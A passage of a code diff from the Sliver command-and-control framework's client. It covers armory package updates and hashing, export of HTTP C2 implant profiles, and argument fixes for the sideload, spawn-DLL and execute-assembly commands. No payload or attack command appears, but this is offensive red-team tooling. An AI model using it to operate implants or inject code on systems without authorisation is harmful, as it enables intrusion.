refresh(clientConfig)
SaveArmories(con)
con.PrintSuccessf("Done\n")
}
func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// Quick check to make sure we were provided with a name
var name string
if len(args) > 0 && args[0] != "" {
name = args[0]
}
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
// Get the record for the armory
armoryConfig, err := getArmoryConfig(name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Save the old config so we can delete the existing config
// and revert if needed
previousConfig := assets.ArmoryConfig{
PublicKey: armoryConfig.PublicKey,
RepoURL: armoryConfig.RepoURL,
Authorization: armoryConfig.Authorization,
AuthorizationCmd: armoryConfig.AuthorizationCmd,
Name: armoryConfig.Name,
Enabled: armoryConfig.Enabled,
}
if cmd.Flags().Changed("name") {
newName, _ := cmd.Flags().GetString("name")
// Make sure the name does not already exist
if armoryNameExists(newName) {
con.PrintErrorf("armory with name %s already exists\n", name)
return
}
armoryConfig.Name = newName
}
if cmd.Flags().Changed("pubkey") {
newPubKey, _ := cmd.Flags().GetString("pubkey")
/*
Since public keys are used as the key for the index cache,
make sure we have not been given a key that already exists
*/
if armoryKeyExists(newPubKey) {
con.PrintErrorf("armory provided public key already exists\n")
return
}
armoryConfig.PublicKey = newPubKey
}
if cmd.Flags().Changed("url") {
newUrl, _ := cmd.Flags().GetString("url")
armoryConfig.RepoURL = newUrl
}
if cmd.Flags().Changed("auth") {
newAuth, _ := cmd.Flags().GetString("auth")
armoryConfig.Authorization = newAuth
}
if cmd.Flags().Changed("authcmd") {
newAuthCmd, _ := cmd.Flags().GetString("authcmd")
armoryConfig.AuthorizationCmd = newAuthCmd
}
// We will remove the old armory and add a new one with the changed properties to force a refresh
currentArmories.Delete(previousConfig.PublicKey)
indexCache.Delete(previousConfig.PublicKey)
armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
clientConfig := parseArmoryHTTPConfig(cmd)
err = verifyArmory(&armoryConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not modify armory: %s\n", err)
confirm := false
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
} else {
err = verifyArmory(&previousConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
return
}
armoryConfig = previousConfig
con.PrintSuccessf("Re-added armory with previous values")
}
}
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
if !cmd.Flags().Changed("no-save") {
SaveArmories(con)
}
// Force a refresh
con.PrintInfof("Refreshing armory information...\n")
refresh(clientConfig)
con.PrintSuccessf("Done\n")
}
func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
clientConfig := parseArmoryHTTPConfig(cmd)
// Since this being called from the refresh command, force the refresh
clientConfig.IgnoreCache = true
clearAllCaches()
armoriesInitialized = false
con.PrintInfof("Refreshing armory information...")
refresh(clientConfig)
con.PrintSuccessf("Refreshed armory information\n")
}
func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
err := os.Remove(armoryConfigPath)
if err != nil {
con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
return
}
con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
// Force a refresh
RefreshArmories(cmd, con)
con.PrintSuccessf("Successfully reset armory configuration\n")
}
+82 -5
View File
@@ -19,6 +19,8 @@ package armory
*/
import (
"bytes"
"crypto/sha256"
"crypto/tls"
"encoding/base64"
"encoding/json"
@@ -67,6 +69,18 @@ type armoryPkgResponse struct {
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
func calculatePackageHash(pkg *ArmoryPackage) string {
if pkg == nil {
return ""
}
hasher := sha256.New()
// Hash some of the things that make the package unique
packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
hasher.Write(packageIdentifier)
return fmt.Sprintf("%x", hasher.Sum(nil))
}
//
// Default Parsers for Self-Hosted Armories
//
@@ -79,7 +93,10 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
return nil, err
}
resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
@@ -111,9 +128,45 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if err != nil {
return nil, err
}
// Populate armory name and ID information for assets
for _, bundle := range armoryIndex.Bundles {
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
}
for _, alias := range armoryIndex.Aliases {
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
// A package with this name is in the cache, so we will remove it here so that the latest version is added
// when the index is parsed
pkgCache.Delete(cached.ID)
}
alias.ID = calculatePackageHash(alias)
}
for _, extension := range armoryIndex.Extensions {
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
// A package with this name is in the cache, so we will remove it here so that the latest version is added
// when the index is parsed
pkgCache.Delete(cached.ID)
}
extension.ID = calculatePackageHash(extension)
}
return armoryIndex, nil
}
func decodePackageSignature(sigString string) ([]byte, error) {
// Base64 decode the signature
decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
if err != nil {
return nil, err
}
// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
decodedData = bytes.Trim(decodedData, "\x00")
return decodedData, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
@@ -122,25 +175,29 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
return nil, nil, err
}
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode)
}
pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
decodedSig, err := decodePackageSignature(pkgResp.Minisig)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig(decodedSig)
if err != nil {
return nil, nil, err
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
tarGzURL, err := url.Parse(pkgResp.TarGzURL)
if err != nil {
return nil, nil, err
}
@@ -242,6 +299,20 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
if err != nil {
return nil, err
}
// Populate armory name and ID information for assets
for _, bundle := range armoryIndex.Bundles {
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
}
for _, alias := range armoryIndex.Aliases {
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
alias.ID = calculatePackageHash(alias)
}
for _, extension := range armoryIndex.Extensions {
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
extension.ID = calculatePackageHash(extension)
}
return armoryIndex, nil
}
@@ -436,6 +507,12 @@ func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig
"Accept": {"application/octet-stream"},
}
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
if err != nil {
return nil, err
}
if resp == nil {
return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
}
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
}
+1 -1
View File
@@ -47,7 +47,7 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
return
}
aliases, exts := packagesInCache()
aliases, exts := packageManifestsInCache()
matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) {
+296 -36
View File
@@ -19,56 +19,127 @@ package armory
*/
import (
"fmt"
"os"
"sort"
"strconv"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
)
type VersionInformation struct {
OldVersion string
NewVersion string
ArmoryName string
}
type PackageType uint
const (
AliasPackage PackageType = iota
ExtensionPackage
)
type UpdateIdentifier struct {
Type PackageType
Name string
}
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
var selectedUpdates []UpdateIdentifier
var err error
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
// Aliases
aliasUpdates := checkForAliasUpdates(clientConfig, con)
if 0 < len(aliasUpdates) {
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
}
} else {
con.PrintInfof("All aliases up to date!\n")
armoryName, err := cmd.Flags().GetString("armory")
if err != nil {
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
return
}
// Extensions
extUpdates := checkForExtensionUpdates(clientConfig, con)
if 0 < len(extUpdates) {
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
for _, extName := range extUpdates {
err := installExtensionPackageByName(extName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
}
// Find PK for the armory name
armoryPK := getArmoryPublicKey(armoryName)
// If the armory with the name is not found, print a warning
if cmd.Flags().Changed("armory") && armoryPK == "" {
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
}
// Check packages for updates
aliasUpdates := checkForAliasUpdates(armoryPK)
extUpdates := checkForExtensionUpdates(armoryPK)
// Display a table of results
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
if err != nil {
con.PrintErrorf(err.Error() + "\n")
return
}
if len(selectedUpdates) == 0 {
return
}
} else {
con.PrintInfof("All extensions up to date!\n")
con.PrintSuccessf("All packages are up to date")
return
}
for _, update := range selectedUpdates {
switch update.Type {
case AliasPackage:
aliasVersionInfo, ok := aliasUpdates[update.Name]
if !ok {
continue
}
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
if err != nil {
con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err)
// Keep going because other packages might not encounter errors
continue
}
err = installAliasPackage(updatedPackage, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
}
case ExtensionPackage:
extVersionInfo, ok := extUpdates[update.Name]
if !ok {
continue
}
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
if err != nil {
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
continue
}
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
}
default:
continue
}
}
}
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string {
cachedAliases, _ := packagesInCache()
results := []string{}
func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
cachedAliases, _ := packageManifestsInCache()
results := make(map[string]VersionInformation)
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := os.ReadFile(aliasManifestPath)
if err != nil {
@@ -79,19 +150,31 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClie
continue
}
for _, latestAlias := range cachedAliases {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
/*
We used to check if the version identifiers were different between the installed version and the
version in the armory. This worked when we had one armory, but with multiple potential armories,
we have to have some type of versioning. We do not have an official versioning scheme for packages,
so we will rely on the author of the package incrementing the version identifier somehow to determine
if a package is newer.
*/
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
results[localManifest.CommandName] = VersionInformation{
OldVersion: localManifest.Version,
NewVersion: latestAlias.Version,
ArmoryName: latestAlias.ArmoryName,
}
}
}
}
}
return results
}
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string {
_, cachedExtensions := packagesInCache()
results := []string{}
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
_, cachedExtensions := packageManifestsInCache()
// Return a map of extension name to minimum version to install
results := make(map[string]VersionInformation)
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := os.ReadFile(extManifestPath)
if err != nil {
@@ -102,13 +185,190 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
continue
}
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
results = append(results, localManifest.Name)
/*
We used to check if the version identifiers were different between the installed version and the
version in the armory. This worked when we had one armory, but with multiple potential armories,
we have to have some type of versioning. We do not have an official versioning scheme for packages,
so we will rely on the author of the package incrementing the version identifier somehow to determine
if a package is newer.
*/
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
results[localManifest.Name] = VersionInformation{
OldVersion: localManifest.Version,
NewVersion: latestExt.Version,
ArmoryName: latestExt.ArmoryName,
}
}
}
}
}
return results
}
func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
/*
This function helps us keep updates straight when the user chooses from them. Just in case
an alias and an extension exist with the same name, we cannot simply combine the two maps.
We will assume that no two aliases and no two extensions have the same name.
*/
result := []UpdateIdentifier{}
aliasNames := util.Keys(aliasUpdates)
extensionNames := util.Keys(extensionUpdates)
for _, name := range aliasNames {
result = append(result, UpdateIdentifier{
Type: AliasPackage,
Name: name,
})
}
for _, name := range extensionNames {
result = append(result, UpdateIdentifier{
Type: ExtensionPackage,
Name: name,
})
}
sort.Slice(result, func(i, j int) bool {
return result[i].Name < result[j].Name
})
return result
}
func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
var (
aliasSuffix string
extensionSuffix string
title string = "Available Updates (%d alias%s, %d extension%s)"
)
tw := table.NewWriter()
tw.SetAutoIndex(true)
tw.SetStyle(settings.GetTableStyle(con))
if len(aliasUpdates) != 1 {
aliasSuffix = "es"
}
if len(extensionUpdates) != 1 {
extensionSuffix = "s"
}
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
tw.AppendHeader(table.Row{
"Package Name",
"Package Type",
"Installed Version",
"Available Version",
})
for _, key := range updateKeys {
var (
packageName string
packageType string
packageVersion VersionInformation
ok bool
)
switch key.Type {
case AliasPackage:
packageVersion, ok = aliasUpdates[key.Name]
if !ok {
continue
}
packageName = key.Name
packageType = "Alias"
case ExtensionPackage:
packageVersion, ok = extensionUpdates[key.Name]
if !ok {
continue
}
packageName = key.Name
packageType = "Extension"
default:
continue
}
tw.AppendRow(table.Row{
packageName,
packageType,
packageVersion.OldVersion,
fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
})
}
con.Printf("%s\n\n", tw.Render())
}
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
chosenUpdates = []UpdateIdentifier{}
var updateResponse string
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
err := survey.AskOne(&survey.Input{
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
}, &updateResponse)
if err != nil {
// We do not need to set selectionError because an error here means the same thing as responding with "none"
return
}
updateResponse = strings.ToLower(updateResponse)
updateResponse = strings.Replace(updateResponse, " ", "", -1)
if updateResponse == "n" || updateResponse == "none" {
return
}
if updateResponse == "a" || updateResponse == "all" {
chosenUpdates = updateKeys
return
}
selections := strings.Split(updateResponse, ",")
for _, selection := range selections {
// Handle a range
if strings.Contains(selection, "-") {
rangeParts := strings.Split(selection, "-")
start, err := strconv.Atoi(rangeParts[0])
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
return
}
end, err := strconv.Atoi(rangeParts[1])
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
return
}
// Adjust for the 0 indexed slice we are working with
start -= 1
end -= 1
if start < 0 {
start = 0
}
if start > end {
selectionError = fmt.Errorf("%s is not a valid range", selection)
return
}
if end >= len(updateKeys) {
end = len(updateKeys) - 1
}
for i := start; i <= end; i++ {
chosenUpdates = append(chosenUpdates, updateKeys[i])
}
} else {
// Single entry
index, err := strconv.Atoi(selection)
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", selection)
return
}
index -= 1
if index >= 0 && index < len(updateKeys) {
chosenUpdates = append(chosenUpdates, updateKeys[index])
}
}
}
return
}
+163
View File
@@ -123,6 +123,169 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
}
}
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
filepath, _ := cmd.Flags().GetString("file")
if filepath == "" {
con.PrintErrorf("Missing file path\n")
return
}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
jsonProfile, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(filepath, jsonProfile, 0644)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println(profileName, "C2 profile exported to ", filepath)
}
// convert protobuf to json
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte, error) {
implantConfig := assets.HTTPC2ImplantConfig{
UserAgent: profile.ImplantConfig.UserAgent,
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
MaxFiles: int(profile.ImplantConfig.MaxFiles),
MinFiles: int(profile.ImplantConfig.MinFiles),
MaxPaths: int(profile.ImplantConfig.MaxPaths),
MinPaths: int(profile.ImplantConfig.MinFiles),
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
PollFileExt: profile.ImplantConfig.PollFileExtension,
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
}
var headers []assets.NameValueProbability
for _, header := range profile.ImplantConfig.Headers {
headers = append(headers, assets.NameValueProbability{
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
})
}
implantConfig.Headers = headers
var urlParameters []assets.NameValueProbability
for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
urlParameters = append(urlParameters, assets.NameValueProbability{
Name: urlParameter.Name,
Value: urlParameter.Value,
Probability: int(urlParameter.Probability),
})
}
implantConfig.URLParameters = urlParameters
var (
stagerFiles []string
pollFiles []string
sessionFiles []string
closeFiles []string
stagerPaths []string
pollPaths []string
sessionPaths []string
closePaths []string
)
for _, pathSegment := range profile.ImplantConfig.PathSegments {
if pathSegment.IsFile {
switch pathSegment.SegmentType {
case 0:
pollFiles = append(pollFiles, pathSegment.Value)
case 1:
sessionFiles = append(sessionFiles, pathSegment.Value)
case 2:
closeFiles = append(closeFiles, pathSegment.Value)
case 3:
stagerFiles = append(stagerFiles, pathSegment.Value)
}
} else {
switch pathSegment.SegmentType {
case 0:
pollPaths = append(pollPaths, pathSegment.Value)
case 1:
sessionPaths = append(sessionPaths, pathSegment.Value)
case 2:
closePaths = append(closePaths, pathSegment.Value)
case 3:
stagerPaths = append(stagerPaths, pathSegment.Value)
}
}
}
implantConfig.PollFiles = pollFiles
implantConfig.SessionFiles = sessionFiles
implantConfig.CloseFiles = closeFiles
implantConfig.StagerFiles = stagerFiles
implantConfig.PollPaths = pollPaths
implantConfig.SessionPaths = sessionPaths
implantConfig.ClosePaths = closePaths
implantConfig.StagerPaths = stagerPaths
var serverHeaders []assets.NameValueProbability
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, assets.NameValueProbability{
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
})
}
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
serverConfig := assets.HTTPC2ServerConfig{
RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
config := assets.HTTPC2Config{
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
jsonConfig, err := json.Marshal(config)
if err != nil {
return nil, err
}
return jsonConfig, nil
}
// convert json to protobuf
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
+67
View File
@@ -0,0 +1,67 @@
package c2profiles
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
importC2ProfileCmd := &cobra.Command{
Use: consts.ImportC2ProfileStr,
Short: "Import HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
ImportC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
exportC2ProfileCmd := &cobra.Command{
Use: consts.ExportC2ProfileStr,
Short: "Export HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
ExportC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
})
C2ProfileCmd := &cobra.Command{
Use: consts.C2ProfileStr,
Short: "Display C2 profile details",
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
C2ProfileCmd(cmd, con, args)
},
GroupID: consts.NetworkHelpGroup,
}
flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile to display")
})
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd.AddCommand(importC2ProfileCmd)
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
return []*cobra.Command{
C2ProfileCmd,
}
}
+1 -3
View File
@@ -28,8 +28,6 @@ import (
"github.com/spf13/pflag"
)
const defaultTimeout = 60
// Bind is a convenience function to bind flags to a given command.
// name - The name of the flag set (can be empty).
// cmd - The command to which the flags should be bound.
@@ -111,7 +109,7 @@ func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, c
//
// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package.
// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function.
type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
// type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
// [ Core ]
// [ Sessions ]
+1 -1
View File
@@ -95,7 +95,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Arguments: assemblyArgs,
Assembly: assemblyBytes,
Arch: arch,
Method: method,
+1 -1
View File
@@ -64,7 +64,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || hidden || ppid != 0 {
if session.OS != "windows" {
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
return
}
+10 -2
View File
@@ -39,8 +39,16 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return
}
if len(args) < 1 {
cmd.Usage()
return
}
binPath := args[0]
binArgs := strings.Join(args[1:], " ")
var binArgs []string
if len(args) > 1 {
binArgs = args[1:]
}
entryPoint, _ := cmd.Flags().GetString("entry-point")
processName, _ := cmd.Flags().GetString("process")
@@ -57,7 +65,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
con.SpinUntil(fmt.Sprintf("Sideloading %s %v...", binPath, binArgs), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(cmd),
Args: binArgs,
+4 -2
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"os"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -38,7 +37,10 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return
}
binPath := args[0]
dllArgs := strings.Join(args[1:], " ")
var dllArgs []string
if len(args) > 1 {
dllArgs = args[1:]
}
processName, _ := cmd.Flags().GetString("process")
exportName, _ := cmd.Flags().GetString("export")
+13 -11
View File
@@ -40,11 +40,11 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
}
// Install an extension from a directory
func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
var manifestData []byte
var err error
@@ -67,12 +67,14 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
//create repo path
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
if promptToOverwrite {
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
